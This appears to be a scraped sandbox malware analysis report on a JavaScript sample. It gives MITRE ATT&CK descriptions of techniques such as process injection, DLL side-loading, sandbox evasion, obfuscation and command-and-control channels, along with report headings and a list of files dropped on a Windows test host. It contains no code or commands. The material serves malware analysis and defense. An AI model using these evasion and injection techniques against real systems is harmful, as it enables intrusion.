Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1957514819973625739.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\449e84d4-7b4f-4305-a20f-b6090715881c.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5324

Windows Analysis Report
1957514819973625739.js